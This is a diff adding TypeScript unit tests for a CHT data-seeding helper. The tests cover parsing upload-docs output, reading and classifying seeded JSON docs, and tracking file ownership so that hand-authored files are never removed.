+const ansiInfo = (message: string): string => `\x1b[32mINFO ${message} \x1b[0m`;
+
+describe('test-data', () => {
+  describe('parseUploadDocsSummary', () => {
+    it('parses the real upload-docs summary line through its ANSI wrapping', () => {
+      const line = ansiInfo('Summary: 12 of 12 docs uploaded OK.  Full report written to: upload-docs.1.log.json');
+
+      expect(parseUploadDocsSummary(line)).to.deep.equal({ uploaded: 12, total: 12 });
+    });
+
+    it('reports a partial upload', () => {
+      const output = ['some earlier line', ansiInfo('Summary: 10 of 12 docs uploaded OK.')].join('\n');
+
+      expect(parseUploadDocsSummary(output)).to.deep.equal({ uploaded: 10, total: 12 });
+    });
+
+    it('returns undefined when no summary was printed (nothing to upload)', () => {
+      expect(parseUploadDocsSummary(ansiInfo('No docs directory found at /data/json_docs.'))).to.be.undefined;
+    });
+  });
+
+  describe('countCreatedUsers', () => {
+    it('counts the real "Creating user" progress lines through their ANSI wrapping', () => {
+      const output = [ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n');
+
+      expect(countCreatedUsers(output)).to.equal(2);
+    });
+
+    it('returns 0 when no user was created', () => {
+      expect(countCreatedUsers(ansiInfo('All actions completed.'))).to.equal(0);
+    });
+
+    it('does not count the user-info preflight lines', () => {
+      const output = [ansiInfo('Requesting user-info for "alice"'), ansiInfo('Creating user alice')].join('\n');
+
+      expect(countCreatedUsers(output)).to.equal(1);
+    });
+  });
+
+  describe('json_docs fixtures', () => {
+    let dataPath: string;
+
+    const writeDoc = (id: string, doc: Record<string, unknown>, dir = ''): void => {
+      mkdirSync(join(dataPath, 'json_docs', dir), { recursive: true });
+      writeFileSync(join(dataPath, 'json_docs', dir, `${id}.doc.json`), JSON.stringify({ _id: id, ...doc }));
+    };
+
+    beforeEach(() => {
+      dataPath = mkdtempSync(join(tmpdir(), 'cht-test-data-'));
+      mkdirSync(join(dataPath, 'json_docs'));
+    });
+
+    afterEach(() => {
+      rmSync(dataPath, { recursive: true, force: true });
+    });
+
+    describe('hasUsersCsv', () => {
+      it('is true when the data project has a users.csv', () => {
+        writeFileSync(join(dataPath, 'users.csv'), 'username,password,roles\n');
+
+        expect(hasUsersCsv(dataPath)).to.equal(true);
+      });
+
+      it('is false when there is no users.csv', () => {
+        expect(hasUsersCsv(dataPath)).to.equal(false);
+      });
+    });
+
+    describe('readSeededDocs', () => {
+      it('reads id, type, and contact_type from every .doc.json, sorted by filename', () => {
+        writeDoc('b-person', { type: 'person' });
+        writeDoc('a-contact', { type: 'contact', contact_type: 'chw' });
+
+        const docs = readSeededDocs(dataPath);
+
+        expect(docs).to.deep.equal([
+          { id: 'a-contact', type: 'contact', contactType: 'chw' },
+          { id: 'b-person', type: 'person' },
+        ]);
+      });
+
+      it('ignores files that are not .doc.json', () => {
+        writeDoc('real-doc', { type: 'clinic' });
+        writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
+
+        const docs = readSeededDocs(dataPath);
+
+        expect(docs.map((doc) => doc.id)).to.deep.equal(['real-doc']);
+      });
+
+      it('returns [] when json_docs does not exist (csv-to-docs had no input)', () => {
+        rmSync(join(dataPath, 'json_docs'), { recursive: true });
+
+        expect(readSeededDocs(dataPath)).to.deep.equal([]);
+      });
+
+      it('reads docs in subdirectories too, as cht-conf upload-docs does', () => {
+        writeDoc('top', { type: 'clinic' });
+        writeDoc('nested', { type: 'person' }, 'extra');
+
+        expect(readSeededDocs(dataPath).map((doc) => doc.id)).to.deep.equal(['nested', 'top']);
+      });
+
+      it('refuses a doc whose _id is missing, as upload-docs would', () => {
+        writeFileSync(join(dataPath, 'json_docs', 'no-id.doc.json'), JSON.stringify({ type: 'clinic' }));
+
+        expect(() => readSeededDocs(dataPath)).to.throw('json_docs/no-id.doc.json must set _id "no-id"');
+      });
+
+      it('refuses a deletion doc, which can disable accounts through upload-docs', () => {
+        writeDoc('place-1', { type: 'clinic', _deleted: true, cht_disable_linked_users: true });
+
+        expect(() => readSeededDocs(dataPath)).to.throw('json_docs/place-1.doc.json is a deletion (_deleted)');
+      });
+
+      it('throws on a malformed doc file, naming it, rather than guessing the worklist', () => {
+        writeFileSync(join(dataPath, 'json_docs', 'broken.doc.json'), '{not json');
+
+        expect(() => readSeededDocs(dataPath)).to.throw('json_docs/broken.doc.json is not valid JSON');
+      });
+    });
+
+    describe('hasCsvInput', () => {
+      it('is true when the data project has a csv/ directory', () => {
+        mkdirSync(join(dataPath, 'csv'));
+
+        expect(hasCsvInput(dataPath)).to.equal(true);
+      });
+
+      it('is false without one', () => {
+        expect(hasCsvInput(dataPath)).to.equal(false);
+      });
+    });
+
+    describe('ownership of json_docs', () => {
+      it('lists doc files recursively, sorted, ignoring everything else', () => {
+        writeDoc('b', { type: 'clinic' });
+        writeDoc('a', { type: 'person' }, 'sub');
+        writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
+
+        expect(listDocFiles(dataPath)).to.deep.equal(['b.doc.json', 'sub/a.doc.json']);
+      });
+
+      it('skips dot-prefixed files and directories and dangling symlinks, as upload-docs does', () => {
+        writeDoc('kept', { type: 'clinic' });
+        writeDoc('.draft', { type: 'clinic' });
+        writeDoc('hidden', { type: 'clinic' }, '.drafts');
+        symlinkSync(join(dataPath, 'missing.doc.json'), join(dataPath, 'json_docs', 'dangling.doc.json'));
+
+        expect(listDocFiles(dataPath)).to.deep.equal(['kept.doc.json']);
+      });
+
+      it('treats every doc file as foreign until this layer has recorded it (fails closed)', () => {
+        writeDoc('hand-authored', { type: 'clinic' });
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(0);
+        expect(listDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+      });
+
+      it('removes only the files it recorded, keeping report logs and files outside json_docs', () => {
+        writeDoc('a3bb189e-8bf9-5888-9912-ace4e6543002', { type: 'clinic' });
+        writeDoc('b7c1d2e3-4f50-5a61-8b72-c9d0e1f2a3b4', { type: 'person' });
+        recordOwnedDocFiles(dataPath);
+        writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
+        writeFileSync(join(dataPath, 'users.csv'), 'username,password,roles\n');
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal([]);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(2);
+        expect(listDocFiles(dataPath)).to.deep.equal([]);
+        expect(hasUsersCsv(dataPath)).to.equal(true);
+        expect(readdirSync(join(dataPath, 'json_docs'))).to.include('upload-docs.1.log.json');
+      });
+
+      it('never removes a hand-authored file added after the record, and reports it as foreign', () => {
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+        writeDoc('hand-authored', { type: 'person' });
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+        removeOwnedDocFiles(dataPath);
+        expect(listDocFiles(dataPath)).to.deep.equal(['hand-authored.doc.json']);
+      });
+
+      it('treats a generated file edited since the record as the operator\'s', () => {
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic', name: 'edited by hand' });
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['c0ffee00-1234-5678-9abc-def012345678.doc.json']);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(0);
+      });
+
+      it('proves nothing from a corrupt manifest', () => {
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+        writeFileSync(join(dataPath, '.cht-agent-seeded.json'), '{not json');
+
+        expect(findForeignDocFiles(dataPath)).to.deep.equal(['c0ffee00-1234-5678-9abc-def012345678.doc.json']);
+      });
+
+      it('records only the files csv-to-docs can write: top-level uuid names', () => {
+        writeDoc('hand-copied', { type: 'clinic' });
+        writeDoc('d4e5f6a7-b8c9-5d0e-8f1a-2b3c4d5e6f70', { type: 'person' }, 'nested');
+        recordOwnedDocFiles(dataPath);
+
+        expect(findForeignDocFiles(dataPath)).to.have.members(['hand-copied.doc.json', `nested/d4e5f6a7-b8c9-5d0e-8f1a-2b3c4d5e6f70.doc.json`]);
+        expect(removeOwnedDocFiles(dataPath)).to.equal(0);
+      });
+
+      it('keeps the manifest beside json_docs, where upload-docs will not pick it up', () => {
+        writeDoc('c0ffee00-1234-5678-9abc-def012345678', { type: 'clinic' });
+        recordOwnedDocFiles(dataPath);
+
+        expect(existsSync(join(dataPath, '.cht-agent-seeded.json'))).to.equal(true);
+        expect(listDocFiles(dataPath)).to.deep.equal(['c0ffee00-1234-5678-9abc-def012345678.doc.json']);
+      });
+    });
+
+  });
+
+  describe('classifySeededDocs', () => {
+    const config: DiscoveredConfig = {
+      contactTypes: [
+        { id: 'district_hospital' },
+        { id: 'clinic', parents: ['district_hospital'] },
+        { id: 'person', parents: ['clinic'], person: true },
+        { id: 'chw_agent', parents: ['clinic'], person: true },
+      ],
+      roles: {},
+      permissions: {},
+      transitions: {},
+      forms: [],
+    };
+
+    const doc = (id: string, type: string, contactType?: string): SeededDoc => ({
+      id,
+      type,
+      ...(contactType !== undefined ? { contactType } : {}),
+    });
+
+    it('splits docs into places, people, and reports against the discovered config', () => {
+      const docs = [
+        doc('p1', 'district_hospital'),
+        doc('p2', 'clinic'),
+        doc('h1', 'person'),
+        doc('r1', 'data_record'),
+      ];
+
+      const counts = classifySeededDocs(docs, config);
+
+      expect(counts.places).to.equal(2);
+      expect(counts.people).to.equal(1);
+      expect(counts.reports).to.equal(1);
+      expect(counts.warnings).to.deep.equal([]);
+    });
+
+    it('counts a custom person contact type (configurable hierarchy) as a person', () => {
+      const counts = classifySeededDocs([doc('c1', 'contact', 'chw_agent')], config);
+
+      expect(counts.people).to.equal(1);
+      expect(counts.places).to.equal(0);
+    });
+
+    it('counts a custom place contact type via contact_type as a place', () => {
+      const counts = classifySeededDocs([doc('c1', 'contact', 'clinic')], config);
+
+      expect(counts.places).to.equal(1);
+      expect(counts.people).to.equal(0);
+    });
+
+    it('does not count user docs (accounts are create-users territory)', () => {
+      const counts = classifySeededDocs([doc('u1', 'user'), doc('r1', 'data_record')], config);
+
+      expect(counts).to.deep.equal({ places: 0, people: 0, reports: 1, warnings: [] });
+    });
+
+    it('warns once per unknown contact type and counts it as a place', () => {
+      const docs = [doc('x1', 'warehouse'), doc('x2', 'warehouse')];
+
+      const counts = classifySeededDocs(docs, config);
+
+      expect(counts.places).to.equal(2);
+      expect(counts.warnings).to.have.lengthOf(1);
+      expect(counts.warnings[0]).to.include('warehouse');
+    });
+  });
+});